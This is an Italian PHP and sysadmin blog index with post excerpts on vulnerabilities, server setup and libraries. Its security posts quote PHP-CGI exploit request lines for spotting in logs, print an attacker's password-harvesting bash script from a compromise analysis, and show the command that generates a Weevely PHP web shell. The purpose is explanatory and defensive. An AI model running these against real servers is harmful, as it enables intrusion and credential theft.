Vulnerabilità critica di PHPMailer

Articolo aggiornato dopo la pubblicazione dei dettagli della vulnerabilità.

Dawid Golunski ha scoperto e segnalato una vulnerabilità critica di PHPMailer nelle versioni precedenti la 5.2.18 che consentirebbe l’esecuzione di codice arbitrario sul server della vittima.

Il problema è stato corretto dalla versione 5.2.18.

Leggi tutto “Vulnerabilità critica di PHPMailer”

Aggirare la censura di Facebook

Facebook ha delle regole in merito al tipo di contenuti che possono essere caricati sul sito. Indipendentemente da quello che ciascuno può pensare, Facebook decide legittimamente cosa fare in casa propria e chi va a casa di Facebook deve rispettare quelle regole.

Quanto segue ha il solo scopo di fornire una proof of concept, non è un’istigazione a violare leggi o ad abusare in alcun modo di terzi. Leggi tutto “Aggirare la censura di Facebook”

Autodeploy con GitHub

Questo articolo spiega come fare un deploy automatico su un server di produzione del codice PHP scritto su un server di sviluppo locale utilizzando un repository privato (a pagamento) di GitHub e le chiavi ssh per l’autenticazione.

git è un bellissimo strumento, ma è anche molto complesso, per questa ragione questo articolo è tutto fuorché esaustivo in materia. Leggi tutto “Autodeploy con GitHub”

PHP: come non confrontare gli hash

Provate ad eseguire questo codice:

<?php var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
Leggi tutto “PHP: come non confrontare gli hash”

Due tool command line

Capita ogni tanto di essere davanti ad un terminale ad aspettare che finisca un’operazione sistemistica oppure di aver bisogno un’informazione e trovarla senza utilizzare un browser.

Questi due programmi sono utili proprio in quei due contesti. Leggi tutto “Due tool command line”

WAMP su Windows 7

Questo articolo spiega come configurare una struttura WAMP su un Windows 7 installando i singoli programmi separatamente.

Esistono anche dei kit preconfezionati come, a puro titolo di esempio, EasyPHP, ma è più istruttivo costruire da soli la propria configurazione in quanto si imparano meglio il funzionamento e l’interazione dei vari componenti, si possono aggiornare i singoli programmi senza dipendere da terzi ed è molto più semplice di quello che si possa credere. Le istruzioni di seguito partono da alcuni presupposti e hanno alcune limitazioni, tra cui:

  • l’installazione non ha una sicurezza adatta ad un server pubblico, ma è pensata per un server di sviluppo protetto da altri metodi;
  • la piattaforma su cui viene installato il tutto è un Windows 7 a 64 bit e, dove possibile, vengono installate le versioni a 64 bit dei programmi;
  • vengono installate le ultime versioni disponibili dei software cercando il più possibile di mantenere i default;
  • tutti i download suggeriti riguardano solamente programmi gratuiti, anche se per alcune utility esistono alternative a pagamento;
  • ripeto: non usate questa procedura per configurare un server pubblicato su Internet.

Queste istruzioni sono valide per le ultime versioni di Apache (2.4), PHP (5.5) e MariaDB (10.0), con versioni precedenti potrebbero essere necessarie ulteriori modifiche o accorgimenti per far funzionare il tutto. Leggi tutto “WAMP su Windows 7”

PHP FastCGI Process Manager con CentOS 6

Con Apache gli script PHP possono essere interpretati essenzialmente in due modi: attraverso un modulo apposito (mod_php) o richiamando l’interprete PHP con FastCGI.

In molti casi si utilizza mod_php perché è l’opzione di default preconfigurata, ma ci sono delle alternative, con vantaggi e svantaggi che vanno valutati con attenzione.

mod_php è in genere (ma anche qui ci potrebbero essere eccezioni) più veloce e permette di personalizzare alcune direttive di configurazione all’interno del file .htacess; il rovescio della medaglia è che l’interprete PHP viene caricato assieme ad ogni istanza di Apache, anche quando non serve perché viene richiesto un file di testo o un file con un’immagine, e viene eseguito nel suo stesso contesto di sicurezza.

Utilizzando FastCGI il codice eseguito dall’interprete PHP è completamente separato da quello del web server, quindi si può definire un contesto di sicurezza differente da quello utilizzato dal server e l’interprete viene eseguito solamente quando è necessario. Nel 2012 è stata scoperta una vulnerabilità di PHP eseguito via CGI tale per cui richiamando una pagina mettendo nell’URL ?-s (esempio: http://www.example.com/index.php?-s) viene visualizzato il sorgente dello script al posto del risultato. Il baco è stato corretto, ma vale la pena di eseguire un test se si passa da mod_php a FastCGI.

Dalla versione 5.3 PHP ha introdotto FastCGI Process Manager (FPM), una tecnologia per demonizzare l’interprete PHP e richiamarlo da server HTTP differenti anche, volendo, da host diversi. FPM crea uno o più pool di server, ciascuno con un proprio contesto di sicurezza e una propria configurazione, in questo modo il numero di worker che interpretano il codice PHP può essere diverso dai worker del server HTTP.

Vediamo come passare da mod_php a FPM su un’installazione CentOS 6.

Leggi tutto “PHP FastCGI Process Manager con CentOS 6”

Malware su PHP.NET?

Da questa mattina verso le 10:00 Google Safe Brosing ha considerato PHP.NET un sito pericoloso, provocando una ridda di commenti sagaci su Twitter.

La diagnostica si Google parla di malware riferito ai nomi a dominio cobbcountybankruptcylawyer.com, stephaniemari.com e northgadui.com e indica stephaniemari.com, northgadui.com e satnavreviewed.co.uk tra gli intermediari per la distribuzione del malware.

La stessa diagnostica citava l’AS36752 tra gli Autonomous System interessati, che è quello che annuncia anche il blocco 69.147.80.0/20 a cui appartiene l’IP 69.147.83.199 di www.php.net

Per ora tutti gli sviluppatori che non ricordano l’ordine dei parametri delle funzioni di PHP non hanno altra alternativa che utilizzare la documentazione offline o qualche mirror non ufficiale.

Agiornamento 13:30 – Hannes Magnusson ha detto che il sito di PHP non contiene malware e ha richiesto la rimozione dalla blacklist.

Agiornamento 15:30 – Il sito è tornato accessibile anche a chi utilizza i filtri di Google Safe Browsing. Il contenuto del file principale scaricato con wget differisce rispetto a quello di questa mattina solamente per quanto riguarda la data di ultimo aggiornamento

Tiny Tiny RSS

tiny tiny rssQuando a metà di marzo Google aveva annunciato la chiusura del suo reader online  si era aperta la caccia all’alternativa.

All’inizio mi ero attrezzato con un mio reader basato su SimplePie, che faceva il suo onesto lavoro. Ultimamente stavo provando Feedly, ma ieri ha annunciato che ci sarebbero state due versioni: una gratuita e una a pagamento, la qual cosa mi ha convinto a tornare sui miei passi.

Dietro segnalazione di Luigi ho provato Tiny Tiny RSS, che si è rivelata una piacevole scoperta.

Tiny Tiny RSS è un reader online di RSS open source scritto in PHP (richiesta la versione 5.3) che utilizza MySQL o PostgreSQL come base dati e supporta più profili utente.

L’installazione è abbastanza semplice e ben documentata: una volta copiati i file nella directory desiderata e creato il database, il tutto avviene via interfaccia web.

Le opzioni disponibili sono molte e permettono una personalizzazione notevole. Il programma permette di importare un file OPML, chi viene da Feedly può scaricarlo qui. In tema, il file esportato da Feedly non rispetta in maniera ferrea le regole XML e potrebbe non essere importato da Tiny Tiny RSS; in particolare bisogna verificare che i nomi dei feed e gli URL non contengano caratteri ‘&’ non convertiti nell’entità HTML ‘&amp;’

L’aggiornamento dei feed viene eseguito da uno script demonizzato che gira sotto il profilo utente di Apache.

Una volta importato l’elenco dei feed e impostato il demone, resta solamente da regolare qualche opzione e godersi il nuovo reader personale di cui ho trovato molto utili le scorciatoie da tastiera.

SimplePie

SimplePieGoogle ha annunciato la chiusura di Google Reader, il servizio di lettura online di feed RSS.

Costruire un proprio lettore di feed RSS con un linguaggio per il web non è un’impresa titanica e potrebbe anche essere l’occasione per approfondire la conoscenza di un linguaggio.

Noi che siamo geek e programmatori quando ci serve una procedura la scriviamo, non ci lamentiamo perché non esiste.

Se si protegge la procedura con una password di accesso e, magari, dietro un server https (con un certificato auto-emesso o con quelli che si comperano a 10 dollari l’anno), si ottiene un po’ più di tutela della privacy rispetto ad un servizio online. Senza contare che non si dipende più dai tagli dei costi di chi offre il servizio.

Volendo fare un reader in PHP e SQL (ma il SQL non è obbligatorio, se non lo si conosce potrebbe bastare un file di testo salvato sul file system e caricato in un array), si può immaginare una struttura testata-dettaglio a tre livelli (categoria, feed, articolo).

L’acquisizione dei dati da un feed RSS è la parte più pallosa, quindi meglio delegarla ad una libreria già fatta, come l’ottima SimplePie, che si smazza tutta la burocrazia del caso e gestisce anche una cache locale per ottimizzare i tempi di download.

Leggi tutto “SimplePie”

pChart

pChartpChart è una libreria PHP per la creazione di grafici.

Fino a qualche giorno fa quando dovevo fare dei grafici in PHP usavo JP Graph; volendo provare qualcosa di nuovo con un output che non ricordasse i grafici di Lotus 1-2-3 2.0, mi sono guardato in giro e ho provato alcune alternative.

pChart si è rivelata la libreria migliore tra quelle che ho valutato grazie sia alla ricchezza di caratteristiche sia alla documentazione ben fatta e ricca di esempi, che permette di familiarizzare molto velocemente con le funzioni.

Una volta scaricato il pacchetto, la directory degli esempi è arricchita da una comodissima sandbox che permette di creare interattivamente il codice scegliendo le opzioni da una serie di menu.

Weevely

Tubo di lancio siluri / Torpedo tubeÈ uscita la versione 1.0 di Weevely, un kit in Python per generare una shell remota in PHP.

Questo è il tipico tool che si colloca nella zona grigia tra il reato e la legalità, ma tacere su queste cose non fa altro che aumentare l’ignoranza dei SysAdmin e, quindi, la sicurezza dei loro sistemi. È inutile fare le mezze verginelle, meglio guardare in faccia alla realtà.

La legge punisce gli accessi non autorizzati ai sistemi informatici, i software come Weevely devono essere utilizzati solamente negli ambiti della legalità. Ecco fatto.

Una volta installato Weevely, bisogna generare il codice PHP lato server con il comando

./weevely.py generate p@ssw0rd

che crea un file weevely.php il quale dovrà essere caricato sul server da controllare.

Leggi tutto “Weevely”

RoundCube 0.8

È uscita la nuova versione 0.8 del client webmail RoundCube.

Questa nuova versione presenta un’interfaccia grafica completamente ridisegnata (“Larry”) realizzata da Michael Krautwasser.

Oltre a numerose correzioni di bachi esistenti, RoundCube, con l’eccezione dei plugin e delle skin, viene ora distribuito sotto la licenza GPL v3+.

Questa versione è considerata stabile, tutti coloro i quali hanno vecchie versioni sono incoraggiati a scaricarla e aggiornarla.

Vulnerabilità di PHP CGI

Le installazioni di PHP che utilizzano l’interprete in modalità CGI (ma non in modalità FastCGI) sono esposte ad una possibile vulnerabilità.

Lo sfruttamento di questo baco è già in giro per Internet; se nei log http vi trovate qualcosa tipo

GET /index.php?-s HTTP/1.1
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

è qualche simpaticone che sta tentando di vedere se il vostro server è vulnerabile.

Per dissuadere gli attaccanti su un server Apche, indipendentemente dalla modalità con cui lavora PHP, basta aggiungere questi parametri nel file .htaccess o in un posto analogo

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? – [F,L]

Da notare che Facebook non solo non è vulnerabile all’attacco, ma se provate a chiedere la pagina https://facebook.com/?-s vi risponde con un invito…

Analisi di un tentativo di compromissione

Analizzare i tentativi di attacco dei server è sempre un’esperienza istruttiva per il SysAdmin.

Questa notte ho analizzato il tentativo di attacco, abortito per varie ragioni tra cui avere il sistema aggiornato, al server web di un cliente.

L’attaccante ha sfruttato una vulnerabilità di un vecchio script dimenticato per caricare alcuni file, ma poi non è riuscito ad andare molto più in là.

Uno di questi file è uno script shell bash che fa una cosa interessante:

count=0
blankLine=" "
find / -name "*conf*.php" >> PATHS 2> /dev/null
TOTAL=`grep -c . PATHS`
for i in `cat PATHS`;
do
grep -i pass $i > tmp
perl -wne'while(/\x27(.+?)\x27/g){print "$1\n"}' tmp >> pass.tmp
perl -wne'while(/\x22(.+?)\x22/g){print "$1\n"}' tmp >> parole.tmp
count=$[count + 1]
echo -n -e " \r$blankLine\r "
echo -n -e " $count - $TOTAL "
done

Traducendo in italiano, lo script cerca tutti i file PHP il cui nome contiene conf e poi cerca di estrarre le password registrate in quei file.

Aggiornamenti di PHP per CentOS

Sono stati rilasciati gli aggiornamenti dei pacchetti php e php53 di CentOS versione 6 e 5.x rispettivamente.

Questo aggiornamento corregge due bachi di sicurezza dell’interprete, come indicato nella nota di quello che CenOS chiama l’upstream.

Il primo baco corretto riguarda la funzione di hash degli array suscettibile di collisioni prevedibili. Se un HTTP POST contiene molti parametri il cui nome ha il medesimo hash, il consumo di CPU di PHP aumenta notevolmente.

Questo problema è stato mitigato introducendo la direttiva di configurazione max_input_vars, il cui valore di default è 1.000.

Il secondo baco corretto riguarda un integer overflow sui sistemi a 32 bit: se viene caricata un’immagine i cui dati EXIF sono stati modificati ad arte, l’interprete va in crash e potrebbe esporre i dati che ha in memoria.

TCPDF

TCPDF è una libreria per PHP scritta dall’italiano Nicola Asuni per creare documenti PDF.

Uno dei punti di forza di TCPDF, oltre alla sua incredibile versatilità, è che non richiede nessun software installato sul server: il file PDF viene creato tutto all’interno della libreria. Servono solamente le librerie GD se si vogliono fare operazioni di elaborazione sulle immagini, come il ridimensionamento.

Un’altra comoda caratteristica è la possibilità di dare in pasto a TCPDF del testo con codici di formattazione HTML.

È anche possibile includere nei documenti molti tipi di codici a barre monodimensionali e bidimensionali, incluso il QR Code.

Tutti i metodi sono ampiamente documentati e sono disponibili moltissimi esempi con il codice sorgente commentato e il PDF risultante.

Decisamente LA libreria per creare i PDF!

Esempio da evitare

L’immagine a fianco mostra un tipico esempio di come non vada scritto il software di gestione di un sito.

L’errore principale in questo caso è stato quello di realizzare un software che accetta un file come parametro passato via HTTP.

Ipotizzando che la lettura di un file passato come parametro sia una necessità, è comunque possibile evitare il directory traversal.

La funzione realpath() permette di convertire i path relativi in path assoluti e, quindi, sanificare le stringhe prima di passarle alle funzioni di apertura file: utilizzando il valore ritornato da realpath('.') è possibile eseguire dei controlli sulla stringa da sanificare per evitare che vengano caricati file in posizioni non previste.

Full path disclosure

Sentiero verde / Green pathFull path disclosure (letteralmente divulgazione del percorso completo) è una vulnerabilità di un sito tale per cui, in particolari condizioni di errore, viene rivelato il percorso completo della directory del server in cui si trovano i file di un sito.

Apparentemente potrebbe essere un problema minimale, ma è un dato che facilita molto la vita a chi vuole penetrare nel sistema utilizzando altri punti deboli di un sito.

Leggi tutto “Full path disclosure”